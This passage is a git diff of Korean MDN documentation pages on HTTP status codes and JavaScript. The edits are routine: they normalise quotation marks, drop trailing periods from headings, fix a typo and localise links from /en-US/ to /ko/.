@@ -44,6 +45,7 @@ HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료되었
 - {{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})
   - : 멀티-상태 응답은 여러 리소스가 여러 상태 코드인 상황이 적절한 경우에 해당되는 정보를 전달합니다.
 - {{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})
+
   - : DAV에서 사용됩니다: propstat(property와 status의 합성어) 응답 속성으로 동일 컬렉션으로 바인드된 복수의 내부 멤버를 반복적으로 열거하는 것을 피하기 위해 사용됩니다.
 
 - {{HTTPStatus(226, "226 IM Used")}} ([HTTP Delta encoding](https://tools.ietf.org/html/rfc3229))
@@ -60,6 +62,7 @@ HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료되었
 - {{HTTPStatus(303, "303 See Other")}}
   - : 클라이언트가 요청한 리소스를 다른 URI에서 GET 요청을 통해 얻어야 할 때, 서버가 클라이언트로 직접 보내는 응답입니다.
 - {{HTTPStatus(304, "304 Not Modified")}}
+
   - : 이것은 캐시를 목적으로 사용됩니다. 이것은 클라이언트에게 응답이 수정되지 않았음을 알려주며, 그러므로 클라이언트는 계속해서 응답의 캐시된 버전을 사용할 수 있습니다.
 
 - `305 Use Proxy` {{deprecated_inline}}
diff --git a/files/ko/web/javascript/guide/functions/index.md b/files/ko/web/javascript/guide/functions/index.md
index 685106b61163b9..2d5153e17db83c 100644
--- a/files/ko/web/javascript/guide/functions/index.md
+++ b/files/ko/web/javascript/guide/functions/index.md
@@ -356,7 +356,7 @@ foo(3);
 
 그것은 또한 *클로저*를 형성합니다. 클로저는 (표현식을 "닫는")변수를 바인딩하는 환경과 함께 자유 변수를 가질 수 있는 표현(일반적으로는 함수)입니다.
 
-중첩 함수는 클로저이므로, 중첩된 함수는 그것을 포함하는 함수의 인수와 변수를 “상속”할 수 있음을 의미합니다. 즉, 내부 함수는 외부 함수의 스코프를 포함합니다.
+중첩 함수는 클로저이므로, 중첩된 함수는 그것을 포함하는 함수의 인수와 변수를 "상속"할 수 있음을 의미합니다. 즉, 내부 함수는 외부 함수의 스코프를 포함합니다.
 
 요약하자면,
 
@@ -408,7 +408,7 @@ result1 = outside(3)(5); // 8
 - 함수 `B`, `C`는 모두 클로저를 형성합니다. 그래서 `B`는 `A`에, `C`는 `B`를 접근 할 수 있습니다.
 - 또한 `C`는 `A`에 접근 할 수 있는 `B`에도 접근할 수 있기 때문에 `A`에도 접근 할 수 있습니다.
 
-따라서 클로저는 여러 스코프가 포함될 수 있으며, 이 스코프를 포함하는 함수의 스코프를 재귀적으로 포함합니다. 이것을 *스코프 체이닝*이라 합니다. (그것을 “체이닝”이라 하는 이유는 추후에 설명할 것입니다.)
+따라서 클로저는 여러 스코프가 포함될 수 있으며, 이 스코프를 포함하는 함수의 스코프를 재귀적으로 포함합니다. 이것을 *스코프 체이닝*이라 합니다. (그것을 "체이닝"이라 하는 이유는 추후에 설명할 것입니다.)
 
 다음 예를 살펴 보겠습니다.
 
diff --git a/files/ko/web/javascript/guide/text_formatting/index.md b/files/ko/web/javascript/guide/text_formatting/index.md
index 7050c1ec5717a4..8e639283d2b2da 100644
--- a/files/ko/web/javascript/guide/text_formatting/index.md
+++ b/files/ko/web/javascript/guide/text_formatting/index.md
@@ -299,7 +299,7 @@ console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五
 
 {{jsxref("Collator")}}개체는 문자열을 비교하고 구분하는 것에 대해 유용합니다.
 
-예를 들어, 실제로 독일에선 phonebook과 dictionary라는 2개의 다른 종류의 명령어들이 있습니다. 전화기록부류는 소리를 강조합니다. 그리고 구분에 앞서 다른것들은 “ä”, “ö”인것처럼 "ae", "oe"로 확장됐습니다.
+예를 들어, 실제로 독일에선 phonebook과 dictionary라는 2개의 다른 종류의 명령어들이 있습니다. 전화기록부류는 소리를 강조합니다. 그리고 구분에 앞서 다른것들은 "ä", "ö"인것처럼 "ae", "oe"로 확장됐습니다.
 
 ```js
 var names = ["Hochberg", "Hönigswald", "Holzman"];
diff --git a/files/ko/web/javascript/inheritance_and_the_prototype_chain/index.md b/files/ko/web/javascript/inheritance_and_the_prototype_chain/index.md
index 0579a11d875728..28c7c351e2a92d 100644
--- a/files/ko/web/javascript/inheritance_and_the_prototype_chain/index.md
+++ b/files/ko/web/javascript/inheritance_and_the_prototype_chain/index.md
@@ -498,7 +498,7 @@ console.log(msg); // Hello, my name is George
 
 ### 함수형 상속(Functional inheritance)
 
-함수형 상속(Functional inheritance)이라는 단어는 Douglas Crockford가 자신의 저서 “JavaScript: The Good Parts”에서 창조한 단어이다. 이 방법은 새 속성들을 연결형 상속으로 쌓되 상속 기능을 Factory 함수로 만들어 사용하는 방식이다.
+함수형 상속(Functional inheritance)이라는 단어는 Douglas Crockford가 자신의 저서 "JavaScript: The Good Parts"에서 창조한 단어이다. 이 방법은 새 속성들을 연결형 상속으로 쌓되 상속 기능을 Factory 함수로 만들어 사용하는 방식이다.
 
 기존의 객체를 확장하는데 쓰이는 함수를 일반적으로 믹스인 함수라 칭한다. 객체 확장에 함수를 사용하는 가장 큰 이점은 Private Data를 클로져를 통해 캡슐화 시킬 수 있다는 점이다.
 
diff --git a/files/ko/web/javascript/reference/errors/json_bad_parse/index.md b/files/ko/web/javascript/reference/errors/json_bad_parse/index.md
index b05a72c877dadc..2fc979a16a35bf 100644
--- a/files/ko/web/javascript/reference/errors/json_bad_parse/index.md
+++ b/files/ko/web/javascript/reference/errors/json_bad_parse/index.md
@@ -51,7 +51,7 @@ slug: Web/JavaScript/Reference/Errors/JSON_bad_parse
 
 ## 예제
 
-### `JSON.parse()` 는 여분의 콤마를 허용하지 않는다.
+### `JSON.parse()` 는 여분의 콤마를 허용하지 않는다
 
 다음 두 줄은 SyntaxError를 발생시킨다:
 
@@ -69,7 +69,7 @@ JSON.parse('[1, 2, 3, 4]');
 JSON.parse('{"foo": 1}');
 ```
 
-### 프로퍼티 이름은 반드시 쌍따옴표로 표현해야 한다.
+### 프로퍼티 이름은 반드시 쌍따옴표로 표현해야 한다
 
 'foo'처럼 프로퍼티를 작은 따옴표로 감싸서는 안된다.
 
diff --git a/files/ko/web/javascript/reference/errors/no_properties/index.md b/files/ko/web/javascript/reference/errors/no_properties/index.md
index 833ffa10866a8d..540536d8c30108 100644
--- a/files/ko/web/javascript/reference/errors/no_properties/index.md
+++ b/files/ko/web/javascript/reference/errors/no_properties/index.md
@@ -5,7 +5,7 @@ slug: Web/JavaScript/Reference/Errors/No_properties
 
 {{jsSidebar("Errors")}}
 
-[`null`](/ko/docs/Web/JavaScript/Reference/Operators/null) 과 {{jsxref("undefined")}} 라는 속성에 접근하려고 시도할때 “null(혹은 undefined)은 속성이 없습니다”라는 JavaScript 에러가 발생합니다.
+[`null`](/ko/docs/Web/JavaScript/Reference/Operators/null) 과 {{jsxref("undefined")}} 라는 속성에 접근하려고 시도할때 "null(혹은 undefined)은 속성이 없습니다"라는 JavaScript 에러가 발생합니다.
 
 ## 메세지
 
diff --git a/files/ko/web/javascript/reference/global_objects/array/isarray/index.md b/files/ko/web/javascript/reference/global_objects/array/isarray/index.md
index 5dfd35c21377f4..838192f00fd91b 100644
--- a/files/ko/web/javascript/reference/global_objects/array/isarray/index.md
+++ b/files/ko/web/javascript/reference/global_objects/array/isarray/index.md
@@ -33,7 +33,7 @@ slug: Web/JavaScript/Reference/Global_Objects/Array/isArray
 
 객체가 {{jsxref("Array")}}라면 `true`를 반환하고, 아니라면 `false`를 반환합니다.
 
-자세한 정보는 [“Determining with absolute accuracy whether or not a JavaScript object is an array”](http://web.mit.edu/jwalden/www/isArray.html)(자바스크립트 객체가 배열인지 정확히 판별하는 방법) 문서를 참조하세요.
+자세한 정보는 ["Determining with absolute accuracy whether or not a JavaScript object is an array"](http://web.mit.edu/jwalden/www/isArray.html)(자바스크립트 객체가 배열인지 정확히 판별하는 방법) 문서를 참조하세요.
 
 ## 예제
 
diff --git a/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.md b/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.md
index 4589cefb8a1ffe..16b010100f64cc 100644
--- a/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.md
+++ b/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.md
@@ -5,7 +5,7 @@ slug: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
 
 {{JSRef}}
 
-**`toLocaleString()`** 메서드는 배열의 요소를 나타내는 문자열을 반환합니다. 요소는 `toLocaleString` 메서드를 사용하여 문자열로 변환되고 이 문자열은 locale 고유 문자열(가령 쉼표 “,”)에 의해 분리됩니다.
+**`toLocaleString()`** 메서드는 배열의 요소를 나타내는 문자열을 반환합니다. 요소는 `toLocaleString` 메서드를 사용하여 문자열로 변환되고 이 문자열은 locale 고유 문자열(가령 쉼표 ",")에 의해 분리됩니다.
 
 {{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}
 
diff --git a/files/ko/web/javascript/reference/global_objects/atomics/index.md b/files/ko/web/javascript/reference/global_objects/atomics/index.md
index 3505f0f8495819..e0b8bfd7f61118 100644
--- a/files/ko/web/javascript/reference/global_objects/atomics/index.md
+++ b/files/ko/web/javascript/reference/global_objects/atomics/index.md
@@ -141,4 +141,4 @@ Atomics.notify(int32, 0, 1);
 - [웹 워커](/ko/docs/Web/API/Web_Workers_API)
 - [parlib-simple](https://github.com/lars-t-hansen/parlib-simple) – 동기화 및 작업 배포 추상화를 제공하는 간단한 라이브러리입니다.
 - [Shared Memory – a brief tutorial](https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md)
-- [A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/)
+- [A Taste of JavaScript's New Parallel Primitives – Mozilla Hacks](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/)
diff --git a/files/ko/web/javascript/reference/global_objects/isnan/index.md b/files/ko/web/javascript/reference/global_objects/isnan/index.md
index 2731f1603c181f..d5dd6379621d0e 100644
--- a/files/ko/web/javascript/reference/global_objects/isnan/index.md
+++ b/files/ko/web/javascript/reference/global_objects/isnan/index.md
@@ -73,7 +73,7 @@ isNaN(new Date().toString());     // 참
 
 // 이것이 허위 양성이고 isNaN이 완전히 신뢰할 수 없는 이유이다.
 isNaN("blabla")   // 참: "blabla"는 숫자로 변환됩니다.
-                  // 이것을 숫자롯 parsing 하는 것을 실패하고 NaN을 반환한다.
+                  // 이것을 숫자로 parsing 하는 것을 실패하고 NaN을 반환한다.
 ```
 
 ### 유용한 특별 케이스 행동
diff --git a/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.md b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.md
index 5e96dd8994ff40..005b0019f2bdd4 100644
--- a/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.md
+++ b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.md
@@ -100,4 +100,4 @@ var sab = new SharedArrayBuffer(1024);
 - [Web Workers](/ko/docs/Web/API/Web_Workers_API)
 - [parlib-simple](https://github.com/lars-t-hansen/parlib-simple) – 동기화 및 작업 분리 추상화를 제공하는 간단한 라이브러리.
 - [Shared Memory – 간단한 튜토리얼](https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md)
-- [A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/)
+- [A Taste of JavaScript's New Parallel Primitives – Mozilla Hacks](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/)
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/index.md b/files/ko/web/javascript/reference/global_objects/typedarray/index.md
index e340829711ab71..414ad72c62371b 100644
--- a/files/ko/web/javascript/reference/global_objects/typedarray/index.md
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/index.md
@@ -195,7 +195,7 @@ Object.freeze(i8);
 // TypeError: Cannot freeze array buffer views with elements
 ```
 
-### ByteOffset는 반드시 정렬되어야 합니다.
+### ByteOffset는 반드시 정렬되어야 합니다
 
 `TypedArray`를 `ArrayBuffer`에 대한 보기로 구성할 때 `byteOffset` 인수는 요소 크기에 맞춰 정렬되어야 합니다. 즉, 오프셋은 B`YTES_PER_ELEMENT`의 배수여야 합니다.
 
@@ -208,7 +208,7 @@ const i32 = new Int32Array(new ArrayBuffer(4), 1);
 const i32 = new Int32Array(new ArrayBuffer(4), 0);
 ```
 
-### ByteLength는 반드시 정렬되어야 합니다.
+### ByteLength는 반드시 정렬되어야 합니다
 
 `byteOffset` 매개변수와 마찬가지로 `TypedArray`의 생성자에 전달된 `ArrayBuffer`의 `byteLength` 속성은 생성자의 `BYTES_PER_ELEMENT`의 배수여야 합니다.
 
diff --git a/files/ko/web/javascript/reference/operators/async_function/index.md b/files/ko/web/javascript/reference/operators/async_function/index.md
index d82a51b32682ce..af35aeedde7c79 100644
--- a/files/ko/web/javascript/reference/operators/async_function/index.md
+++ b/files/ko/web/javascript/reference/operators/async_function/index.md
@@ -6,7 +6,7 @@ slug: Web/JavaScript/Reference/Operators/async_function
 
 **`async function`** 키워드는 표현식 내에서 `async` 함수를 정의하기 위해 사용됩니다.
 
-또한 [async function statement](/en-US/docs/Web/JavaScript/Reference/Statements/async_function)을 사용하여 async 함수를 정의할 수 있습니다.
+또한 [async function statement](/ko/docs/Web/JavaScript/Reference/Statements/async_function)을 사용하여 async 함수를 정의할 수 있습니다.
 
 ## 문법
 
@@ -36,7 +36,7 @@ slug: Web/JavaScript/Reference/Operators/async_function
   }
 ```
 
-[arrow functions](/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)를 사용해도 됩니다.
+[arrow functions](/ko/docs/Web/JavaScript/Reference/Functions/Arrow_functions)를 사용해도 됩니다.
 
 ```js
   async param => expression
@@ -57,7 +57,7 @@ slug: Web/JavaScript/Reference/Operators/async_function
 
 ## 설명
 
-`async function` 표현식은 {{jsxref('Statements/async_function', '<code>async function</code> 선언')}} 문법과 유사하며, 거의 동일합니다. `async function` 표현식과 `async function` 선언문의 주요 차이점은 익명함수로써의 사용 여부로, `async function` 표현식은 함수 이름을 생략하면 익명함수를 만듭니다. `async function` 표현식은 {{Glossary("IIFE")}}(즉시실행함수)로 사용할 수 있습니다. [`functions`](/en-US/docs/Web/JavaScript/Reference/Functions)문서를 참고하세요.
+`async function` 표현식은 {{jsxref('Statements/async_function', '<code>async function</code> 선언')}} 문법과 유사하며, 거의 동일합니다. `async function` 표현식과 `async function` 선언문의 주요 차이점은 익명함수로써의 사용 여부로, `async function` 표현식은 함수 이름을 생략하면 익명함수를 만듭니다. `async function` 표현식은 {{Glossary("IIFE")}}(즉시실행함수)로 사용할 수 있습니다. [`functions`](/ko/docs/Web/JavaScript/Reference/Functions)문서를 참고하세요.
 
 ## 예제
 
diff --git a/files/ko/web/javascript/reference/operators/await/index.md b/files/ko/web/javascript/reference/operators/await/index.md
index c26a2560e6d8cf..6c23fbeffaecd9 100644
--- a/files/ko/web/javascript/reference/operators/await/index.md
+++ b/files/ko/web/javascript/reference/operators/await/index.md
@@ -22,7 +22,7 @@ slug: Web/JavaScript/Reference/Operators/await
 
 만약 `Promise`가 `reject`되면, `await` 문은 `reject`된 값을 `throw`합니다.
 
-`await` 연산자 다음에 나오는 문의 값이 `Promise`가 아니면 해당 값을 [resolved Promise](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve)로 변환시킵니다.
+`await` 연산자 다음에 나오는 문의 값이 `Promise`가 아니면 해당 값을 [resolved Promise](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve)로 변환시킵니다.
 
 An `await` can split execution flow, allowing the caller of the `await`'s function to resume execution before the deferred continuation of the `await`'s function. After the `await` defers the continuation of its function, if this is the first `await` executed by the function, immediate execution also continues by returning to the function's caller a pending `Promise` for the completion of the `await`'s function and resuming execution of that caller.
 
diff --git a/files/ko/web/javascript/reference/operators/delete/index.md b/files/ko/web/javascript/reference/operators/delete/index.md
index f9c7937cd963e1..63067778cd8d11 100644
--- a/files/ko/web/javascript/reference/operators/delete/index.md
+++ b/files/ko/web/javascript/reference/operators/delete/index.md
@@ -39,7 +39,7 @@ slug: Web/JavaScript/Reference/Operators/delete
 
 ## 설명
 
-일반적으로 생각하고 있는것과는 다르게 `delete` 는 메모리 해제에 관하여 직접적으로 어떠한 작업도 하지 않습니다. 메모리 관리는 breaking references를 통하여 간접적으로 일어납니다. 자세한 걸 알고 싶다면 [memory management](/en-US/docs/Web/JavaScript/Memory_Management) 를 보세요.
+일반적으로 생각하고 있는것과는 다르게 `delete` 는 메모리 해제에 관하여 직접적으로 어떠한 작업도 하지 않습니다. 메모리 관리는 breaking references를 통하여 간접적으로 일어납니다. 자세한 걸 알고 싶다면 [memory management](/ko/docs/Web/JavaScript/Memory_Management) 를 보세요.
 
 **`delete`**연산자는 오브젝트로 부터 해당 프로퍼티를 삭제합니다. 삭제를 하면 true를 반환, 아니면 false를 반환합니다. 그렇지만 아래 경우를 고려해야만 합니다.
 
diff --git a/files/ko/web/javascript/reference/operators/destructuring_assignment/index.md b/files/ko/web/javascript/reference/operators/destructuring_assignment/index.md
index 77fe9259bc8fdd..ef13f31772194f 100644
--- a/files/ko/web/javascript/reference/operators/destructuring_assignment/index.md
+++ b/files/ko/web/javascript/reference/operators/destructuring_assignment/index.md
@@ -285,7 +285,7 @@ var metadata = {
         title: "JavaScript-Umgebung"
        }
     ],
-    url: "/en-US/docs/Tools/Scratchpad"
+    url: "/ko/docs/Tools/Scratchpad"
 };
 
 var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
@@ -365,7 +365,7 @@ console.log(foo); // "bar"
 
 ### 객체 구조 분해에서 Rest
 
-[Rest/Spread Properties for ECMAScript](https://github.com/tc39/proposal-object-rest-spread) 제안(stage 3)에서는 구조 분해에 [rest](/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters) 구문을 추가하고 있습니다. rest 속성은 구조 분해 패턴으로 걸러지지 않은 열거형 속성의 키를 가진 나머지 항목들을 모읍니다.
+[Rest/Spread Properties for ECMAScript](https://github.com/tc39/proposal-object-rest-spread) 제안(stage 3)에서는 구조 분해에 [rest](/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters) 구문을 추가하고 있습니다. rest 속성은 구조 분해 패턴으로 걸러지지 않은 열거형 속성의 키를 가진 나머지 항목들을 모읍니다.
 
 ```js
 let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
diff --git a/files/ko/web/javascript/reference/operators/equality/index.md b/files/ko/web/javascript/reference/operators/equality/index.md
index 09fe24cf426399..f944e4fd38dd1c 100644
--- a/files/ko/web/javascript/reference/operators/equality/index.md
+++ b/files/ko/web/javascript/reference/operators/equality/index.md
@@ -132,6 +132,6 @@ c == d; // true
 
 ## See also
 
-- [Inequality operator](/en-US/docs/Web/JavaScript/Reference/Operators/Inequality)
-- [Strict equality operator](/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality)
-- [Strict inequality operator](/en-US/docs/Web/JavaScript/Reference/Operators/Strict_inequality)
+- [Inequality operator](/ko/docs/Web/JavaScript/Reference/Operators/Inequality)
+- [Strict equality operator](/ko/docs/Web/JavaScript/Reference/Operators/Strict_equality)
+- [Strict inequality operator](/ko/docs/Web/JavaScript/Reference/Operators/Strict_inequality)
diff --git a/files/ko/web/javascript/reference/operators/function/index.md b/files/ko/web/javascript/reference/operators/function/index.md
index e57017aaf01fa9..496a231db7a05c 100644
--- a/files/ko/web/javascript/reference/operators/function/index.md
+++ b/files/ko/web/javascript/reference/operators/function/index.md
@@ -30,7 +30,7 @@ slug: Web/JavaScript/Reference/Operators/function
 
 ## 설명
 
-함수 표현식(function expression)은 function 문과 매우 비슷하고 구문(syntax)이 거의 같습니다 (자세한 사항은 [function 문](/ko/docs/Web/JavaScript/Reference/Statements/function) 참조). 함수 표현식과 function 문 사이의 주요 차이점은 함수 이름으로, 함수 표현식으로 _익명_ 함수를 만들 경우 이 이름을 생략할 수 있습니다. 함수 표현식은 정의하자마자 실행되는 [IIFE (즉시 호출되는 함수 표현식)](/en-US/docs/Glossary/IIFE)로 사용될 수 있습니다. 더 자세한 정보는 [함수](/ko/docs/Web/JavaScript/Reference/Functions) 장 참조.
+함수 표현식(function expression)은 function 문과 매우 비슷하고 구문(syntax)이 거의 같습니다 (자세한 사항은 [function 문](/ko/docs/Web/JavaScript/Reference/Statements/function) 참조). 함수 표현식과 function 문 사이의 주요 차이점은 함수 이름으로, 함수 표현식으로 _익명_ 함수를 만들 경우 이 이름을 생략할 수 있습니다. 함수 표현식은 정의하자마자 실행되는 [IIFE (즉시 호출되는 함수 표현식)](/ko/docs/Glossary/IIFE)로 사용될 수 있습니다. 더 자세한 정보는 [함수](/ko/docs/Web/JavaScript/Reference/Functions) 장 참조.
 
 ### Function expression 끌어올리기
 
@@ -48,7 +48,7 @@ slug: Web/JavaScript/Reference/Operators/function
 
 ### 유명(named) 함수 표현식
 
-함수 몸통 안 쪽에서 현재 함수를 참고하고 싶다면, 유명 함수를 생성해야 합니다. ***이 함수 이름은 함수의 몸통(범위) 안에서만 사용할 수 있습니다***. 이로써 비표준 [`arguments.callee`](/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee) 속성을 사용하는 것을 피할 수도 있습니다.
+함수 몸통 안 쪽에서 현재 함수를 참고하고 싶다면, 유명 함수를 생성해야 합니다. ***이 함수 이름은 함수의 몸통(범위) 안에서만 사용할 수 있습니다***. 이로써 비표준 [`arguments.callee`](/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee) 속성을 사용하는 것을 피할 수도 있습니다.
 
 ```js
     var math = {
@@ -63,7 +63,7 @@ slug: Web/JavaScript/Reference/Operators/function
     math.factit(3) //3;2;1;
 ```
 
-함수가 할당된 변수는 `name` 속성을 가지게됩니다. 다른 변수에 할당되더라도 그 name 속성의 값은 변하지 않습니다. 함수의 이름이 생략되었다면, name 속성의 값은 그 변수의 이름(암묵적 이름)이 될 것입니다. 함수의 이름이 있다면 name 속성의 값은 그 함수의 이름(명시적 이름)이 될 것입니다. 이는 [화살표 함수(arrow functions)](/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)에도 적용됩니다 (화살표 함수는 이름을 가지지 않으므로 해당 변수에 암묵적인 이름만 줄 수 있습니다).
+함수가 할당된 변수는 `name` 속성을 가지게됩니다. 다른 변수에 할당되더라도 그 name 속성의 값은 변하지 않습니다. 함수의 이름이 생략되었다면, name 속성의 값은 그 변수의 이름(암묵적 이름)이 될 것입니다. 함수의 이름이 있다면 name 속성의 값은 그 함수의 이름(명시적 이름)이 될 것입니다. 이는 [화살표 함수(arrow functions)](/ko/docs/Web/JavaScript/Reference/Functions/Arrow_functions)에도 적용됩니다 (화살표 함수는 이름을 가지지 않으므로 해당 변수에 암묵적인 이름만 줄 수 있습니다).
 
 ```js
     var foo = function() {}
diff --git a/files/ko/web/javascript/reference/operators/function_star_/index.md b/files/ko/web/javascript/reference/operators/function_star_/index.md
index da8006c6c3d05e..a1441f688a27b5 100644
--- a/files/ko/web/javascript/reference/operators/function_star_/index.md
+++ b/files/ko/web/javascript/reference/operators/function_star_/index.md
@@ -28,7 +28,7 @@ slug: Web/JavaScript/Reference/Operators/function*
 
 ## Description
 
-`function*` expression 은 {{jsxref('Statements/function*', 'function* statement')}} 과 매우 유사하고 형식도 같습니다. `function*` expression 과 `function*` statement 의 주요한 차이점은 함수명으로,\* _`function_` expressions 에서는 익명 함수로 만들기 위해 함수명이 생략될 수 있습니다.보다 자세한 내용은 [functions](/ko/docs/Web/JavaScript/Reference/Functions) 을 참조하십시오.
+`function*` expression 은 {{jsxref('Statements/function*', 'function* statement')}} 과 매우 유사하고 형식도 같습니다. `function*` expression 과 `function*` statement 의 주요한 차이점은 함수명으로, _`function*`_ expressions 에서는 익명 함수로 만들기 위해 함수명이 생략될 수 있습니다.보다 자세한 내용은 [functions](/ko/docs/Web/JavaScript/Reference/Functions) 을 참조하십시오.
 
 ## Examples
 
@@ -52,7 +52,7 @@ var x = function*(y) {
 
 - {{jsxref("Statements/function*", "function* statement")}}
 - {{jsxref("GeneratorFunction")}} object
-- [The Iterator protocol](/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol)
+- [The Iterator protocol](/ko/docs/Web/JavaScript/Guide/The_Iterator_protocol)
 - {{jsxref("Operators/yield", "yield")}}
 - {{jsxref("Operators/yield*", "yield*")}}
 - {{jsxref("Function")}} object
diff --git a/files/ko/web/javascript/reference/operators/in/index.md b/files/ko/web/javascript/reference/operators/in/index.md
index bad5c13804f3ce..96d849e198356c 100644
--- a/files/ko/web/javascript/reference/operators/in/index.md
+++ b/files/ko/web/javascript/reference/operators/in/index.md
@@ -56,7 +56,7 @@ var color2 = "coral";
 
 ### 제거되었거나 정의되지 않은 속성에 대하여 `in` 연산자 사용하기
 
-`in` 연산자는 [`delete`](/en-US/docs/Web/JavaScript/Reference/Operators/delete) 연산자로 제거된 속성에 대하여 `false`를 반환합니다.
+`in` 연산자는 [`delete`](/ko/docs/Web/JavaScript/Reference/Operators/delete) 연산자로 제거된 속성에 대하여 `false`를 반환합니다.
 
 ```js
 var myCar = {company: "Lamborghini", model: "Lamborghini Veneno Roadster", year: 2014};
@@ -100,7 +100,7 @@ trees[3] = undefined;
 
 ## 관련 문서
 
-- [`delete`](/en-US/docs/Web/JavaScript/Reference/Operators/delete)
+- [`delete`](/ko/docs/Web/JavaScript/Reference/Operators/delete)
 - {{jsxref("Object.prototype.hasOwnProperty()")}}
 - {{jsxref("Reflect.has()")}}
-- [속성의, 소유와 셀 수 있는 성질](/en-US/docs/Enumerability_and_ownership_of_properties)
+- [속성의, 소유와 셀 수 있는 성질](/ko/docs/Enumerability_and_ownership_of_properties)
diff --git a/files/ko/web/javascript/reference/operators/index.md b/files/ko/web/javascript/reference/operators/index.md
index c7d39d45e42bcc..c6d5fbe7b634fe 100644
--- a/files/ko/web/javascript/reference/operators/index.md
+++ b/files/ko/web/javascript/reference/operators/index.md
@@ -181,7 +181,7 @@ slug: Web/JavaScript/Reference/Operators
 ### 선택적 연결 연산자
 
 - {{JSxRef("Operators/Optional_chaining", "?.")}}
-  - : 선택적 연결 연산자는 참조가 [nullish](/en-US/docs/Glossary/nullish) ([`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null) 또는 [`undefined`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)) 인 경우 오류를 발생시키는 대신 `undefined`를 반환합니다.
+  - : 선택적 연결 연산자는 참조가 [nullish](/ko/docs/Glossary/nullish) ([`null`](/ko/docs/Web/JavaScript/Reference/Global_Objects/null) 또는 [`undefined`](/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined)) 인 경우 오류를 발생시키는 대신 `undefined`를 반환합니다.
 
 ### 할당 연산자
 
diff --git a/files/ko/web/javascript/reference/operators/new/index.md b/files/ko/web/javascript/reference/operators/new/index.md
index ea9d7584dde646..ac4806cd92d74d 100644
--- a/files/ko/web/javascript/reference/operators/new/index.md
+++ b/files/ko/web/javascript/reference/operators/new/index.md
@@ -39,9 +39,9 @@ slug: Web/JavaScript/Reference/Operators/new
 
 언제든 이전에 정의된 객체에 속성을 추가할 수 있다. 예를 들면, `car1.color = "black"` 구문은 `color` 속성을 `car1`에 추가하고 해당 속성에 "`black`"이란 값을 할당한다. 그러나, 이것이 다른 객체들에게는 영향을 주지 않는다. 동일한 타입의 모든 객체들에게 새로운 속성을 추가하려면, `Car` 객체 타입의 정의에 이 속성을 추가해야한다.
 
-[`Function.prototype`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype) 속성을 사용하여 이전에 정의된 객체 타입에 공유 속성을 추가할 수 있다. 이것은 객체 타입의 인스턴스 하나에만 적용되는 것이 아니라 이 함수로 생성하는 모든 객체와 공유하는 속성을 정의한다.
+[`Function.prototype`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype) 속성을 사용하여 이전에 정의된 객체 타입에 공유 속성을 추가할 수 있다. 이것은 객체 타입의 인스턴스 하나에만 적용되는 것이 아니라 이 함수로 생성하는 모든 객체와 공유하는 속성을 정의한다.
 
-다음의 코드는 `car` 타입의 모든 객체에 "`original color`" 값을 갖는 color 속성을 추가한다. 그리고 `car1` 객체 인스턴스에서만 이 값을 문자열 "`black`"으로 덮어쓴다. 더 많은 정보는 [prototype](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype)을 참조한다.
+다음의 코드는 `car` 타입의 모든 객체에 "`original color`" 값을 갖는 color 속성을 추가한다. 그리고 `car1` 객체 인스턴스에서만 이 값을 문자열 "`black`"으로 덮어쓴다. 더 많은 정보는 [prototype](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype)을 참조한다.
 
 ```js
 function Car() {}
diff --git a/files/ko/web/javascript/reference/operators/nullish_coalescing/index.md b/files/ko/web/javascript/reference/operators/nullish_coalescing/index.md
index 8f8a93448b4973..31ad6799b82c02 100644
--- a/files/ko/web/javascript/reference/operators/nullish_coalescing/index.md
+++ b/files/ko/web/javascript/reference/operators/nullish_coalescing/index.md
@@ -8,7 +8,7 @@ original_slug: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
 
